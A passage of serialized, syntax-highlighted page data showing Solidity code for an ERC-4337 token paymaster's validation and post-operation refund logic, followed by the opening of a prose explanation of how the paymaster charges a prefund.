",{"type":23,"tag":230,"props":104987,"children":104988},{"style":268},[104989],{"type":29,"value":10911},{"type":23,"tag":230,"props":104991,"children":104992},{"style":5149},[104993],{"type":29,"value":5386},{"type":23,"tag":230,"props":104995,"children":104996},{"style":268},[104997],{"type":29,"value":4014},{"type":23,"tag":230,"props":104999,"children":105000},{"style":274},[105001],{"type":29,"value":104954},{"type":23,"tag":230,"props":105003,"children":105004},{"style":268},[105005],{"type":29,"value":10911},{"type":23,"tag":230,"props":105007,"children":105008},{"style":5149},[105009],{"type":29,"value":105010}," 32",{"type":23,"tag":230,"props":105012,"children":105013},{"style":274},[105014],{"type":29,"value":684},{"type":23,"tag":230,"props":105016,"children":105017},{"style":380},[105018],{"type":29,"value":105019},"\"TPM: invalid data length\"",{"type":23,"tag":230,"props":105021,"children":105022},{"style":274},[105023],{"type":29,"value":753},{"type":23,"tag":230,"props":105025,"children":105026},{"class":232,"line":500},[105027,105031,105036,105040,105045,105050],{"type":23,"tag":230,"props":105028,"children":105029},{"style":676},[105030],{"type":29,"value":104907},{"type":23,"tag":230,"props":105032,"children":105033},{"style":274},[105034],{"type":29,"value":105035}," maxFeePerGas ",{"type":23,"tag":230,"props":105037,"children":105038},{"style":268},[105039],{"type":29,"value":863},{"type":23,"tag":230,"props":105041,"children":105042},{"style":274},[105043],{"type":29,"value":105044}," userOp.",{"type":23,"tag":230,"props":105046,"children":105047},{"style":294},[105048],{"type":29,"value":105049},"unpackMaxFeePerGas",{"type":23,"tag":230,"props":105051,"children":105052},{"style":274},[105053],{"type":29,"value":2140},{"type":23,"tag":230,"props":105055,"children":105056},{"class":232,"line":514},[105057,105061,105066,105070],{"type":23,"tag":230,"props":105058,"children":105059},{"style":676},[105060],{"type":29,"value":104907},{"type":23,"tag":230,"props":105062,"children":105063},{"style":274},[105064],{"type":29,"value":105065}," refundPostopCost ",{"type":23,"tag":230,"props":105067,"children":105068},{"style":268},[105069],{"type":29,"value":863},{"type":23,"tag":230,"props":105071,"children":105072},{"style":274},[105073],{"type":29,"value":105074}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":230,"props":105076,"children":105077},{"class":232,"line":897},[105078,105082,105087,105091,105095,105100,105104,105109],{"type":23,"tag":230,"props":105079,"children":105080},{"style":866},[105081],{"type":29,"value":104980},{"type":23,"tag":230,"props":105083,"children":105084},{"style":274},[105085],{"type":29,"value":105086},"(refundPostopCost ",{"type":23,"tag":230,"props":105088,"children":105089},{"style":268},[105090],{"type":29,"value":8143},{"type":23,"tag":230,"props":105092,"children":105093},{"style":274},[105094],{"type":29,"value":105044},{"type":23,"tag":230,"props":105096,"children":105097},{"style":294},[105098],{"type":29,"value":105099},"unpackPostOpGasLimit",{"type":23,"tag":230,"props":105101,"children":105102},{"style":274},[105103],{"type":29,"value":1172},{"type":23,"tag":230,"props":105105,"children":105106},{"style":380},[105107],{"type":29,"value":105108},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":230,"props":105110,"children":105111},{"style":274},[105112],{"type":29,"value":753},{"type":23,"tag":230,"props":105114,"children":105115},{"class":232,"line":960},[105116,105120,105125,105129,105134,105138,105143,105147],{"type":23,"tag":230,"props":105117,"children":105118},{"style":676},[105119],{"type":29,"value":104907},{"type":23,"tag":230,"props":105121,"children":105122},{"style":274},[105123],{"type":29,"value":105124}," preChargeNative ",{"type":23,"tag":230,"props":105126,"children":105127},{"style":268},[105128],{"type":29,"value":863},{"type":23,"tag":230,"props":105130,"children":105131},{"style":274},[105132],{"type":29,"value":105133}," requiredPreFund ",{"type":23,"tag":230,"props":105135,"children":105136},{"style":268},[105137],{"type":29,"value":6719},{"type":23,"tag":230,"props":105139,"children":105140},{"style":274},[105141],{"type":29,"value":105142}," (refundPostopCost ",{"type":23,"tag":230,"props":105144,"children":105145},{"style":268},[105146],{"type":29,"value":6909},{"type":23,"tag":230,"props":105148,"children":105149},{"style":274},[105150],{"type":29,"value":105151}," maxFeePerGas);\n",{"type":23,"tag":230,"props":105153,"children":105154},{"class":232,"line":969},[105155,105160,105164],{"type":23,"tag":230,"props":105156,"children":105157},{"style":237},[105158],{"type":29,"value":105159},"            // ",{"type":23,"tag":230,"props":105161,"children":105162},{"style":256},[105163],{"type":29,"value":68535},{"type":23,"tag":230,"props":105165,"children":105166},{"style":237},[105167],{"type":29,"value":105168},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":230,"props":105170,"children":105171},{"class":232,"line":4526},[105172,105176,105181,105185,105190,105194,105199,105203],{"type":23,"tag":230,"props":105173,"children":105174},{"style":676},[105175],{"type":29,"value":104907},{"type":23,"tag":230,"props":105177,"children":105178},{"style":274},[105179],{"type":29,"value":105180}," cachedPriceWithMarkup ",{"type":23,"tag":230,"props":105182,"children":105183},{"style":268},[105184],{"type":29,"value":863},{"type":23,"tag":230,"props":105186,"children":105187},{"style":274},[105188],{"type":29,"value":105189}," cachedPrice ",{"type":23,"tag":230,"props":105191,"children":105192},{"style":268},[105193],{"type":29,"value":6909},{"type":23,"tag":230,"props":105195,"children":105196},{"style":274},[105197],{"type":29,"value":105198}," DENOM ",{"type":23,"tag":230,"props":105200,"children":105201},{"style":268},[105202],{"type":29,"value":6919},{"type":23,"tag":230,"props":105204,"children":105205},{"style":274},[105206],{"type":29,"value":105207}," priceMarkup;\n",{"type":23,"tag":230,"props":105209,"children":105210},{"class":232,"line":4534},[105211,105215,105220,105224,105228],{"type":23,"tag":230,"props":105212,"children":105213},{"style":866},[105214],{"type":29,"value":60575},{"type":23,"tag":230,"props":105216,"children":105217},{"style":274},[105218],{"type":29,"value":105219}," (dataLength ",{"type":23,"tag":230,"props":105221,"children":105222},{"style":268},[105223],{"type":29,"value":10911},{"type":23,"tag":230,"props":105225,"children":105226},{"style":5149},[105227],{"type":29,"value":105010},{"type":23,"tag":230,"props":105229,"children":105230},{"style":274},[105231],{"type":29,"value":827},{"type":23,"tag":230,"props":105233,"children":105234},{"class":232,"line":4542},[105235,105240,105245],{"type":23,"tag":230,"props":105236,"children":105237},{"style":676},[105238],{"type":29,"value":105239},"                uint256",{"type":23,"tag":230,"props":105241,"children":105242},{"style":274},[105243],{"type":29,"value":105244}," clientSuppliedPrice ",{"type":23,"tag":230,"props":105246,"children":105247},{"style":268},[105248],{"type":29,"value":17020},{"type":23,"tag":230,"props":105250,"children":105251},{"class":232,"line":4559},[105252,105257,105261,105265,105270,105274,105279,105283,105287],{"type":23,"tag":230,"props":105253,"children":105254},{"style":676},[105255],{"type":29,"value":105256},"                    uint256",{"type":23,"tag":230,"props":105258,"children":105259},{"style":274},[105260],{"type":29,"value":302},{"type":23,"tag":230,"props":105262,"children":105263},{"style":676},[105264],{"type":29,"value":104805},{"type":23,"tag":230,"props":105266,"children":105267},{"style":274},[105268],{"type":29,"value":105269},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":230,"props":105271,"children":105272},{"style":268},[105273],{"type":29,"value":218},{"type":23,"tag":230,"props":105275,"children":105276},{"style":274},[105277],{"type":29,"value":105278},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":230,"props":105280,"children":105281},{"style":268},[105282],{"type":29,"value":6719},{"type":23,"tag":230,"props":105284,"children":105285},{"style":5149},[105286],{"type":29,"value":105010},{"type":23,"tag":230,"props":105288,"children":105289},{"style":274},[105290],{"type":29,"value":105291},"]));\n",{"type":23,"tag":230,"props":105293,"children":105294},{"class":232,"line":4587},[105295,105300,105305,105309],{"type":23,"tag":230,"props":105296,"children":105297},{"style":866},[105298],{"type":29,"value":105299},"                if",{"type":23,"tag":230,"props":105301,"children":105302},{"style":274},[105303],{"type":29,"value":105304}," (clientSuppliedPrice ",{"type":23,"tag":230,"props":105306,"children":105307},{"style":268},[105308],{"type":29,"value":8143},{"type":23,"tag":230,"props":105310,"children":105311},{"style":274},[105312],{"type":29,"value":105313}," cachedPriceWithMarkup) {\n",{"type":23,"tag":230,"props":105315,"children":105316},{"class":232,"line":4595},[105317,105322,105326],{"type":23,"tag":230,"props":105318,"children":105319},{"style":237},[105320],{"type":29,"value":105321},"                    // ",{"type":23,"tag":230,"props":105323,"children":105324},{"style":256},[105325],{"type":29,"value":68535},{"type":23,"tag":230,"props":105327,"children":105328},{"style":237},[105329],{"type":29,"value":105330},": smaller number means 'more native asset per token'\n",{"type":23,"tag":230,"props":105332,"children":105333},{"class":232,"line":4619},[105334,105339,105343],{"type":23,"tag":230,"props":105335,"children":105336},{"style":274},[105337],{"type":29,"value":105338},"                    cachedPriceWithMarkup ",{"type":23,"tag":230,"props":105340,"children":105341},{"style":268},[105342],{"type":29,"value":863},{"type":23,"tag":230,"props":105344,"children":105345},{"style":274},[105346],{"type":29,"value":105347}," clientSuppliedPrice;\n",{"type":23,"tag":230,"props":105349,"children":105350},{"class":232,"line":4627},[105351],{"type":23,"tag":230,"props":105352,"children":105353},{"style":274},[105354],{"type":29,"value":72848},{"type":23,"tag":230,"props":105356,"children":105357},{"class":232,"line":4659},[105358],{"type":23,"tag":230,"props":105359,"children":105360},{"style":274},[105361],{"type":29,"value":60659},{"type":23,"tag":230,"props":105363,"children":105364},{"class":232,"line":4671},[105365,105369,105374,105378,105383],{"type":23,"tag":230,"props":105366,"children":105367},{"style":676},[105368],{"type":29,"value":104907},{"type":23,"tag":230,"props":105370,"children":105371},{"style":274},[105372],{"type":29,"value":105373}," tokenAmount ",{"type":23,"tag":230,"props":105375,"children":105376},{"style":268},[105377],{"type":29,"value":863},{"type":23,"tag":230,"props":105379,"children":105380},{"style":294},[105381],{"type":29,"value":105382}," weiToToken",{"type":23,"tag":230,"props":105384,"children":105385},{"style":274},[105386],{"type":29,"value":105387},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":230,"props":105389,"children":105390},{"class":232,"line":4688},[105391,105396,105400],{"type":23,"tag":230,"props":105392,"children":105393},{"style":274},[105394],{"type":29,"value":105395},"            tokenAmount ",{"type":23,"tag":230,"props":105397,"children":105398},{"style":268},[105399],{"type":29,"value":70214},{"type":23,"tag":230,"props":105401,"children":105402},{"style":274},[105403],{"type":29,"value":105404}," baseFee;\n",{"type":23,"tag":230,"props":105406,"children":105407},{"class":232,"line":4701},[105408,105413,105418,105423,105427,105431,105435],{"type":23,"tag":230,"props":105409,"children":105410},{"style":274},[105411],{"type":29,"value":105412},"            SafeERC20.",{"type":23,"tag":230,"props":105414,"children":105415},{"style":294},[105416],{"type":29,"value":105417},"safeTransferFrom",{"type":23,"tag":230,"props":105419,"children":105420},{"style":274},[105421],{"type":29,"value":105422},"(token, userOp.sender, ",{"type":23,"tag":230,"props":105424,"children":105425},{"style":676},[105426],{"type":29,"value":34933},{"type":23,"tag":230,"props":105428,"children":105429},{"style":274},[105430],{"type":29,"value":302},{"type":23,"tag":230,"props":105432,"children":105433},{"style":256},[105434],{"type":29,"value":437},{"type":23,"tag":230,"props":105436,"children":105437},{"style":274},[105438],{"type":29,"value":105439},"), tokenAmount);\n",{"type":23,"tag":230,"props":105441,"children":105442},{"class":232,"line":4724},[105443,105448,105452,105457,105461,105466],{"type":23,"tag":230,"props":105444,"children":105445},{"style":274},[105446],{"type":29,"value":105447},"            context ",{"type":23,"tag":230,"props":105449,"children":105450},{"style":268},[105451],{"type":29,"value":863},{"type":23,"tag":230,"props":105453,"children":105454},{"style":256},[105455],{"type":29,"value":105456}," abi",{"type":23,"tag":230,"props":105458,"children":105459},{"style":274},[105460],{"type":29,"value":312},{"type":23,"tag":230,"props":105462,"children":105463},{"style":294},[105464],{"type":29,"value":105465},"encode",{"type":23,"tag":230,"props":105467,"children":105468},{"style":274},[105469],{"type":29,"value":105470},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":230,"props":105472,"children":105473},{"class":232,"line":4741},[105474,105479],{"type":23,"tag":230,"props":105475,"children":105476},{"style":274},[105477],{"type":29,"value":105478},"            validationResult ",{"type":23,"tag":230,"props":105480,"children":105481},{"style":268},[105482],{"type":29,"value":17020},{"type":23,"tag":230,"props":105484,"children":105485},{"class":232,"line":4759},[105486,105491,105495,105499,105503,105508,105513,105517,105522,105526],{"type":23,"tag":230,"props":105487,"children":105488},{"style":294},[105489],{"type":29,"value":105490},"                _packValidationData",{"type":23,"tag":230,"props":105492,"children":105493},{"style":274},[105494],{"type":29,"value":302},{"type":23,"tag":230,"props":105496,"children":105497},{"style":256},[105498],{"type":29,"value":10510},{"type":23,"tag":230,"props":105500,"children":105501},{"style":274},[105502],{"type":29,"value":684},{"type":23,"tag":230,"props":105504,"children":105505},{"style":676},[105506],{"type":29,"value":105507},"uint48",{"type":23,"tag":230,"props":105509,"children":105510},{"style":274},[105511],{"type":29,"value":105512},"(cachedPriceTimestamp ",{"type":23,"tag":230,"props":105514,"children":105515},{"style":268},[105516],{"type":29,"value":6719},{"type":23,"tag":230,"props":105518,"children":105519},{"style":274},[105520],{"type":29,"value":105521}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":230,"props":105523,"children":105524},{"style":5149},[105525],{"type":29,"value":6358},{"type":23,"tag":230,"props":105527,"children":105528},{"style":274},[105529],{"type":29,"value":753},{"type":23,"tag":230,"props":105531,"children":105532},{"class":232,"line":4768},[105533],{"type":23,"tag":230,"props":105534,"children":105535},{"style":274},[105536],{"type":29,"value":5686},{"type":23,"tag":230,"props":105538,"children":105539},{"class":232,"line":4776},[105540],{"type":23,"tag":230,"props":105541,"children":105542},{"style":274},[105543],{"type":29,"value":1552},{"type":23,"tag":230,"props":105545,"children":105546},{"class":232,"line":4784},[105547],{"type":23,"tag":230,"props":105548,"children":105549},{"style":274},[105550],{"type":29,"value":12649},{"type":23,"tag":230,"props":105552,"children":105553},{"class":232,"line":4792},[105554,105558,105563,105567,105572,105576,105580,105584,105588,105592,105596,105601,105605,105609,105614],{"type":23,"tag":230,"props":105555,"children":105556},{"style":256},[105557],{"type":29,"value":91610},{"type":23,"tag":230,"props":105559,"children":105560},{"style":294},[105561],{"type":29,"value":105562}," _postOp",{"type":23,"tag":230,"props":105564,"children":105565},{"style":274},[105566],{"type":29,"value":302},{"type":23,"tag":230,"props":105568,"children":105569},{"style":256},[105570],{"type":29,"value":105571},"PostOpMode",{"type":23,"tag":230,"props":105573,"children":105574},{"style":274},[105575],{"type":29,"value":684},{"type":23,"tag":230,"props":105577,"children":105578},{"style":676},[105579],{"type":29,"value":85607},{"type":23,"tag":230,"props":105581,"children":105582},{"style":256},[105583],{"type":29,"value":104791},{"type":23,"tag":230,"props":105585,"children":105586},{"style":262},[105587],{"type":29,"value":78119},{"type":23,"tag":230,"props":105589,"children":105590},{"style":274},[105591],{"type":29,"value":684},{"type":23,"tag":230,"props":105593,"children":105594},{"style":676},[105595],{"type":29,"value":47939},{"type":23,"tag":230,"props":105597,"children":105598},{"style":262},[105599],{"type":29,"value":105600}," actualGasCost",{"type":23,"tag":230,"props":105602,"children":105603},{"style":274},[105604],{"type":29,"value":684},{"type":23,"tag":230,"props":105606,"children":105607},{"style":676},[105608],{"type":29,"value":47939},{"type":23,"tag":230,"props":105610,"children":105611},{"style":262},[105612],{"type":29,"value":105613}," actualUserOpFeePerGas",{"type":23,"tag":230,"props":105615,"children":105616},{"style":274},[105617],{"type":29,"value":4516},{"type":23,"tag":230,"props":105619,"children":105620},{"class":232,"line":4824},[105621],{"type":23,"tag":230,"props":105622,"children":105623},{"style":256},[105624],{"type":29,"value":104830},{"type":23,"tag":230,"props":105626,"children":105627},{"class":232,"line":4832},[105628],{"type":23,"tag":230,"props":105629,"children":105630},{"style":256},[105631],{"type":29,"value":104838},{"type":23,"tag":230,"props":105633,"children":105634},{"class":232,"line":4840},[105635],{"type":23,"tag":230,"props":105636,"children":105637},{"style":274},[105638],{"type":29,"value":31494},{"type":23,"tag":230,"props":105640,"children":105641},{"class":232,"line":4901},[105642,105646],{"type":23,"tag":230,"props":105643,"children":105644},{"style":866},[105645],{"type":29,"value":104895},{"type":23,"tag":230,"props":105647,"children":105648},{"style":274},[105649],{"type":29,"value":277},{"type":23,"tag":230,"props":105651,"children":105652},{"class":232,"line":4909},[105653,105657,105661,105665],{"type":23,"tag":230,"props":105654,"children":105655},{"style":676},[105656],{"type":29,"value":104907},{"type":23,"tag":230,"props":105658,"children":105659},{"style":274},[105660],{"type":29,"value":104912},{"type":23,"tag":230,"props":105662,"children":105663},{"style":268},[105664],{"type":29,"value":863},{"type":23,"tag":230,"props":105666,"children":105667},{"style":274},[105668],{"type":29,"value":104921},{"type":23,"tag":230,"props":105670,"children":105671},{"class":232,"line":4938},[105672,105676,105680,105684],{"type":23,"tag":230,"props":105673,"children":105674},{"style":676},[105675],{"type":29,"value":104907},{"type":23,"tag":230,"props":105677,"children":105678},{"style":274},[105679],{"type":29,"value":104933},{"type":23,"tag":230,"props":105681,"children":105682},{"style":268},[105683],{"type":29,"value":863},{"type":23,"tag":230,"props":105685,"children":105686},{"style":274},[105687],{"type":29,"value":104942},{"type":23,"tag":230,"props":105689,"children":105690},{"class":232,"line":4957},[105691,105696,105700,105705,105709,105714,105718,105722,105726,105731,105736,105740,105744,105748],{"type":23,"tag":230,"props":105692,"children":105693},{"style":274},[105694],{"type":29,"value":105695},"            (",{"type":23,"tag":230,"props":105697,"children":105698},{"style":676},[105699],{"type":29,"value":47939},{"type":23,"tag":230,"props":105701,"children":105702},{"style":274},[105703],{"type":29,"value":105704}," preCharge, ",{"type":23,"tag":230,"props":105706,"children":105707},{"style":676},[105708],{"type":29,"value":34933},{"type":23,"tag":230,"props":105710,"children":105711},{"style":274},[105712],{"type":29,"value":105713}," userOpSender) ",{"type":23,"tag":230,"props":105715,"children":105716},{"style":268},[105717],{"type":29,"value":863},{"type":23,"tag":230,"props":105719,"children":105720},{"style":256},[105721],{"type":29,"value":105456},{"type":23,"tag":230,"props":105723,"children":105724},{"style":274},[105725],{"type":29,"value":312},{"type":23,"tag":230,"props":105727,"children":105728},{"style":294},[105729],{"type":29,"value":105730},"decode",{"type":23,"tag":230,"props":105732,"children":105733},{"style":274},[105734],{"type":29,"value":105735},"(context, (",{"type":23,"tag":230,"props":105737,"children":105738},{"style":676},[105739],{"type":29,"value":47939},{"type":23,"tag":230,"props":105741,"children":105742},{"style":274},[105743],{"type":29,"value":684},{"type":23,"tag":230,"props":105745,"children":105746},{"style":676},[105747],{"type":29,"value":34933},{"type":23,"tag":230,"props":105749,"children":105750},{"style":274},[105751],{"type":29,"value":9559},{"type":23,"tag":230,"props":105753,"children":105754},{"class":232,"line":4973},[105755,105760,105765,105770],{"type":23,"tag":230,"props":105756,"children":105757},{"style":274},[105758],{"type":29,"value":105759},"            preCharge ",{"type":23,"tag":230,"props":105761,"children":105762},{"style":268},[105763],{"type":29,"value":105764},"-=",{"type":23,"tag":230,"props":105766,"children":105767},{"style":274},[105768],{"type":29,"value":105769}," baseFee; ",{"type":23,"tag":230,"props":105771,"children":105772},{"style":237},[105773],{"type":29,"value":105774},"// don't refund the base fee\n",{"type":23,"tag":230,"props":105776,"children":105777},{"class":232,"line":4990},[105778,105782,105787,105791,105796,105800,105804],{"type":23,"tag":230,"props":105779,"children":105780},{"style":676},[105781],{"type":29,"value":104907},{"type":23,"tag":230,"props":105783,"children":105784},{"style":274},[105785],{"type":29,"value":105786}," _cachedPrice ",{"type":23,"tag":230,"props":105788,"children":105789},{"style":268},[105790],{"type":29,"value":863},{"type":23,"tag":230,"props":105792,"children":105793},{"style":294},[105794],{"type":29,"value":105795}," updateCachedPrice",{"type":23,"tag":230,"props":105797,"children":105798},{"style":274},[105799],{"type":29,"value":302},{"type":23,"tag":230,"props":105801,"children":105802},{"style":256},[105803],{"type":29,"value":10510},{"type":23,"tag":230,"props":105805,"children":105806},{"style":274},[105807],{"type":29,"value":753},{"type":23,"tag":230,"props":105809,"children":105810},{"class":232,"line":5006},[105811,105815,105819],{"type":23,"tag":230,"props":105812,"children":105813},{"style":237},[105814],{"type":29,"value":105159},{"type":23,"tag":230,"props":105816,"children":105817},{"style":256},[105818],{"type":29,"value":68535},{"type":23,"tag":230,"props":105820,"children":105821},{"style":237},[105822],{"type":29,"value":105168},{"type":23,"tag":230,"props":105824,"children":105825},{"class":232,"line":5019},[105826,105830,105834,105838,105842,105846,105850,105854],{"type":23,"tag":230,"props":105827,"children":105828},{"style":676},[105829],{"type":29,"value":104907},{"type":23,"tag":230,"props":105831,"children":105832},{"style":274},[105833],{"type":29,"value":105180},{"type":23,"tag":230,"props":105835,"children":105836},{"style":268},[105837],{"type":29,"value":863},{"type":23,"tag":230,"props":105839,"children":105840},{"style":274},[105841],{"type":29,"value":105786},{"type":23,"tag":230,"props":105843,"children":105844},{"style":268},[105845],{"type":29,"value":6909},{"type":23,"tag":230,"props":105847,"children":105848},{"style":274},[105849],{"type":29,"value":105198},{"type":23,"tag":230,"props":105851,"children":105852},{"style":268},[105853],{"type":29,"value":6919},{"type":23,"tag":230,"props":105855,"children":105856},{"style":274},[105857],{"type":29,"value":105207},{"type":23,"tag":230,"props":105859,"children":105860},{"class":232,"line":5050},[105861],{"type":23,"tag":230,"props":105862,"children":105863},{"style":237},[105864],{"type":29,"value":105865},"            // Refund tokens based on actual gas cost\n",{"type":23,"tag":230,"props":105867,"children":105868},{"class":232,"line":5058},[105869,105873,105878,105882,105887,105891,105896,105900],{"type":23,"tag":230,"props":105870,"children":105871},{"style":676},[105872],{"type":29,"value":104907},{"type":23,"tag":230,"props":105874,"children":105875},{"style":274},[105876],{"type":29,"value":105877}," actualChargeNative ",{"type":23,"tag":230,"props":105879,"children":105880},{"style":268},[105881],{"type":29,"value":863},{"type":23,"tag":230,"props":105883,"children":105884},{"style":274},[105885],{"type":29,"value":105886}," actualGasCost ",{"type":23,"tag":230,"props":105888,"children":105889},{"style":268},[105890],{"type":29,"value":6719},{"type":23,"tag":230,"props":105892,"children":105893},{"style":274},[105894],{"type":29,"value":105895}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":230,"props":105897,"children":105898},{"style":268},[105899],{"type":29,"value":6909},{"type":23,"tag":230,"props":105901,"children":105902},{"style":274},[105903],{"type":29,"value":105904}," actualUserOpFeePerGas;\n",{"type":23,"tag":230,"props":105906,"children":105907},{"class":232,"line":26228},[105908,105912,105917,105921,105925],{"type":23,"tag":230,"props":105909,"children":105910},{"style":676},[105911],{"type":29,"value":104907},{"type":23,"tag":230,"props":105913,"children":105914},{"style":274},[105915],{"type":29,"value":105916}," actualTokenNeeded ",{"type":23,"tag":230,"props":105918,"children":105919},{"style":268},[105920],{"type":29,"value":863},{"type":23,"tag":230,"props":105922,"children":105923},{"style":294},[105924],{"type":29,"value":105382},{"type":23,"tag":230,"props":105926,"children":105927},{"style":274},[105928],{"type":29,"value":105929},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":230,"props":105931,"children":105932},{"class":232,"line":34574},[105933,105937,105942,105946],{"type":23,"tag":230,"props":105934,"children":105935},{"style":866},[105936],{"type":29,"value":60575},{"type":23,"tag":230,"props":105938,"children":105939},{"style":274},[105940],{"type":29,"value":105941}," (preCharge ",{"type":23,"tag":230,"props":105943,"children":105944},{"style":268},[105945],{"type":29,"value":12792},{"type":23,"tag":230,"props":105947,"children":105948},{"style":274},[105949],{"type":29,"value":105950}," actualTokenNeeded) {\n",{"type":23,"tag":230,"props":105952,"children":105953},{"class":232,"line":34595},[105954],{"type":23,"tag":230,"props":105955,"children":105956},{"style":237},[105957],{"type":29,"value":105958},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":230,"props":105960,"children":105961},{"class":232,"line":82730},[105962,105967,105972,105977,105981],{"type":23,"tag":230,"props":105963,"children":105964},{"style":274},[105965],{"type":29,"value":105966},"                SafeERC20.",{"type":23,"tag":230,"props":105968,"children":105969},{"style":294},[105970],{"type":29,"value":105971},"safeTransfer",{"type":23,"tag":230,"props":105973,"children":105974},{"style":274},[105975],{"type":29,"value":105976},"(token, userOpSender, preCharge ",{"type":23,"tag":230,"props":105978,"children":105979},{"style":268},[105980],{"type":29,"value":6665},{"type":23,"tag":230,"props":105982,"children":105983},{"style":274},[105984],{"type":29,"value":105985}," actualTokenNeeded);\n",{"type":23,"tag":230,"props":105987,"children":105988},{"class":232,"line":82743},[105989,105993,105997,106001,106005,106009],{"type":23,"tag":230,"props":105990,"children":105991},{"style":274},[105992],{"type":29,"value":72371},{"type":23,"tag":230,"props":105994,"children":105995},{"style":866},[105996],{"type":29,"value":5654},{"type":23,"tag":230,"props":105998,"children":105999},{"style":866},[106000],{"type":29,"value":18112},{"type":23,"tag":230,"props":106002,"children":106003},{"style":274},[106004],{"type":29,"value":105941},{"type":23,"tag":230,"props":106006,"children":106007},{"style":268},[106008],{"type":29,"value":8143},{"type":23,"tag":230,"props":106010,"children":106011},{"style":274},[106012],{"type":29,"value":105950},{"type":23,"tag":230,"props":106014,"children":106015},{"class":232,"line":82751},[106016],{"type":23,"tag":230,"props":106017,"children":106018},{"style":237},[106019],{"type":29,"value":106020},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":230,"props":106022,"children":106023},{"class":232,"line":82759},[106024],{"type":23,"tag":230,"props":106025,"children":106026},{"style":237},[106027],{"type":29,"value":106028},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":230,"props":106030,"children":106031},{"class":232,"line":82767},[106032,106036,106040,106045,106049,106053,106057,106062,106066],{"type":23,"tag":230,"props":106033,"children":106034},{"style":274},[106035],{"type":29,"value":105966},{"type":23,"tag":230,"props":106037,"children":106038},{"style":294},[106039],{"type":29,"value":105417},{"type":23,"tag":230,"props":106041,"children":106042},{"style":274},[106043],{"type":29,"value":106044},"(token, userOpSender, ",{"type":23,"tag":230,"props":106046,"children":106047},{"style":676},[106048],{"type":29,"value":34933},{"type":23,"tag":230,"props":106050,"children":106051},{"style":274},[106052],{"type":29,"value":302},{"type":23,"tag":230,"props":106054,"children":106055},{"style":256},[106056],{"type":29,"value":437},{"type":23,"tag":230,"props":106058,"children":106059},{"style":274},[106060],{"type":29,"value":106061},"), actualTokenNeeded ",{"type":23,"tag":230,"props":106063,"children":106064},{"style":268},[106065],{"type":29,"value":6665},{"type":23,"tag":230,"props":106067,"children":106068},{"style":274},[106069],{"type":29,"value":106070}," preCharge);\n",{"type":23,"tag":230,"props":106072,"children":106073},{"class":232,"line":82807},[106074],{"type":23,"tag":230,"props":106075,"children":106076},{"style":274},[106077],{"type":29,"value":60659},{"type":23,"tag":230,"props":106079,"children":106080},{"class":232,"line":82815},[106081],{"type":23,"tag":230,"props":106082,"children":106083},{"emptyLinePlaceholder":18},[106084],{"type":29,"value":459},{"type":23,"tag":230,"props":106086,"children":106087},{"class":232,"line":90002},[106088,106092,106097,106101,106105],{"type":23,"tag":230,"props":106089,"children":106090},{"style":866},[106091],{"type":29,"value":60575},{"type":23,"tag":230,"props":106093,"children":106094},{"style":274},[106095],{"type":29,"value":106096}," (baseFee ",{"type":23,"tag":230,"props":106098,"children":106099},{"style":268},[106100],{"type":29,"value":12792},{"type":23,"tag":230,"props":106102,"children":106103},{"style":5149},[106104],{"type":29,"value":5386},{"type":23,"tag":230,"props":106106,"children":106107},{"style":274},[106108],{"type":29,"value":827},{"type":23,"tag":230,"props":106110,"children":106111},{"class":232,"line":90010},[106112,106116,106120],{"type":23,"tag":230,"props":106113,"children":106114},{"style":274},[106115],{"type":29,"value":105966},{"type":23,"tag":230,"props":106117,"children":106118},{"style":294},[106119],{"type":29,"value":105971},{"type":23,"tag":230,"props":106121,"children":106122},{"style":274},[106123],{"type":29,"value":106124},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":230,"props":106126,"children":106127},{"class":232,"line":103356},[106128],{"type":23,"tag":230,"props":106129,"children":106130},{"style":274},[106131],{"type":29,"value":60659},{"type":23,"tag":230,"props":106133,"children":106134},{"class":232,"line":103364},[106135],{"type":23,"tag":230,"props":106136,"children":106137},{"emptyLinePlaceholder":18},[106138],{"type":29,"value":459},{"type":23,"tag":230,"props":106140,"children":106141},{"class":232,"line":103372},[106142,106147,106152],{"type":23,"tag":230,"props":106143,"children":106144},{"style":866},[106145],{"type":29,"value":106146},"            emit",{"type":23,"tag":230,"props":106148,"children":106149},{"style":294},[106150],{"type":29,"value":106151}," UserOperationSponsored",{"type":23,"tag":230,"props":106153,"children":106154},{"style":274},[106155],{"type":29,"value":106156},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":230,"props":106158,"children":106159},{"class":232,"line":103380},[106160,106165],{"type":23,"tag":230,"props":106161,"children":106162},{"style":294},[106163],{"type":29,"value":106164},"            refillEntryPointDeposit",{"type":23,"tag":230,"props":106166,"children":106167},{"style":274},[106168],{"type":29,"value":106169},"(_cachedPrice);\n",{"type":23,"tag":230,"props":106171,"children":106172},{"class":232,"line":103408},[106173],{"type":23,"tag":230,"props":106174,"children":106175},{"style":274},[106176],{"type":29,"value":5686},{"type":23,"tag":230,"props":106178,"children":106180},{"class":232,"line":106179},67,[106181],{"type":23,"tag":230,"props":106182,"children":106183},{"style":274},[106184],{"type":29,"value":1552},{"type":23,"tag":230,"props":106186,"children":106188},{"class":232,"line":106187},68,[106189],{"type":23,"tag":230,"props":106190,"children":106191},{"style":274},[106192],{"type":29,"value":975},{"type":23,"tag":32,"props":106194,"children":106195},{},[106196,106198,106204,106206,106211,106213,106219],{"type":29,"value":106197},"Looking at the code above, during ",{"type":23,"tag":71,"props":106199,"children":106201},{"className":106200},[],[106202],{"type":29,"value":106203},"validatePaymasterUserOp",{"type":29,"value":106205},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the 